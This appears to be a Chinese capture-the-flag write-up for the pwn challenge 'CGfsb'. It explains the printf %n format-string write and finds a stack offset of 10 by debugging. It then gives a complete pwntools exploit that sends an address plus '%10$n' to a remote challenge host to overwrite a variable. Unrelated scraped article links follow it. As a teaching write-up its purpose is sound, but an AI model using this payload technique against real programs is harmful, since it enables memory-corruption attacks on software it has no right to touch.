CGfsb
这里补充一下%n是代表向参数赋值打印的字符个数
例如printf("AAAA%n",&a);
代表的是向a写入4
printf("AAAA%1n", &argu1)
代表的是将打印字符的个数值写入参数1中.
printf("AAAA%2$n", &argu1, &argu2, &argu3......)
使用'$'符号来进行参数的选择
代表的是将打印字符的个数写入参数2对应的地址内存中.
来看一点实际的吧:
a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中
实现了.
在堆栈中.printf中格式化字符窜'%p' 会打印第一个参数对应的值
可以使用%p来计算偏移. 这里对于新手可能不太直观,我就使用edb调试给大家看
咱们来看一下题:
检查一下保护
使用ida打开分析:
逻辑是,怎样使用pwnme = 8即可.
找到pwnme的地址
记录一下地址,开始使用edb调试分析.按F9直接进入main函数
输入一些%p打印第一个参数的内容,找偏移
跟进printf中:
打印出
打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移
从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.
在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可 p32(pwnme addr)
然后再调一下打印个数即可修改对目标pwnme值进行修改
即payload = p32(pwnme addr) + '%10$'
有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可
重新调试:输入偏移为10
直接运行结束,因为0x44434241地址不可写入
我们将该值在堆栈里修改一下,为0x 0804a068
运行一下:
成功将pwnme值修改为4
好开始利用漏洞,exp
#! bin/python
from pwn import *
sh = process("./CGfsb")
sh = remote("111.198.29.45",36339)
sh.recvuntil("please tell me your name:\n")
payload = 'Logan'
sh.sendline(payload)
sh.recvuntil("leave your message please:\n")
addr = 0x0804A068 # addr of pwnme
payload = p32(addr) +'AAAA'+ '%10$n'
sh.sendline(payload)
sh.interactive()
#sh.close()
可能有人会问,为啥要填充4个A? 因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了
CGfsb的更多相关文章
- day-4 xctf-pwn CGfsb
xctf-pwn CGfsb 传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id= ...
- 攻防世界 | CGfsb
所以题目要求是输入生日1926l
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
随机推荐
- 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_04 IO字节流_9_字节输入流读取字节数据
硬盘读取到内存 read值会读一个字节 a.txt里面a变成整数就是97 读取到末尾,返回-1 再读一次还是-1 读取的代码是重复的.可以使用循环去读取.while循环. 转行成char类型的 ...
- 模拟鼠标向下滚动 http://bbs.2ccc.com/topic.asp?topicid=461769
我想模拟鼠标滚轮,下面的代码能向上滚动,怎么样下向滚动啊 mouse_event( MOUSEEVENTF_WHEEL,0,0,WHEEL_DELTA,0); 我把参数设置为mouse_event( ...
- Android 静态广播和动态广播接收顺序
Android广播有两个很重要的要素: 1 广播 - 用于发送广播 有序广播 - 被广播接收器接收后,可被终止,无法往下继续传达. 典型代表:短信广播 普通广播 - 发送至每一 ...
- [Usaco2014 Feb] Roadblock
有一个无向图,共N个节点,编号1至N,共M条边.FJ在节点1,它想到达节点N.FJ总是会选择最短路径到达节点N .作为捣蛋的奶牛Bessie,它想尽量延迟FJ到达节点N的时间,于是Bessie决定从M ...
- 剑指offer--day10
1.1 题目:二叉搜索树的后序遍历序列:输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果.如果是则输出Yes,否则输出No.假设输入的数组的任意两个数字都互不相同. 1.2 思路: 以{ ...
- Websocket如何建立连接
前面提到,WebSocket复用了HTTP的握手通道.具体指的是,客户端通过HTTP请求与WebSocket服务端协商升级协议.协议升级完成后,后续的数据交换则遵照WebSocket的协议. 1.客户 ...
- JMeter学习笔记16-如何输出HTML格式的性能测试报告
文本来学习下,如何输入HTML格式的JMeter测试报告.前面已经介绍, 如果要做性能测试,需要在GUI上设计好你的Test Plan,设置各种场景和负载值,包括多少个线程,多少个用户,循环多少次.设 ...
- vuejs基础-MVVM结构
Vue.js 基本代码 和 MVVM 之间的对应关系 处理过程: 每当用户进行业务处理时,如果需要进行业务处理,都会通过网络请求,去请求后端的服务器,此时,我们的这个请求,就会被后端的App.js监听 ...
- CDH平台搭建遇到的问题
安装之前遇到的问题: Note: Forwarding request to 'systemctl disable NetworkManager.service'. Removed symlink ...
- win10系统Docker和VMware WorkStation共存,远程工具连接Docker
摘要:win10安装docker进行学习的两种途径: Docker for Windows Installer.exe(地址https://download.docker.com/win/stable ...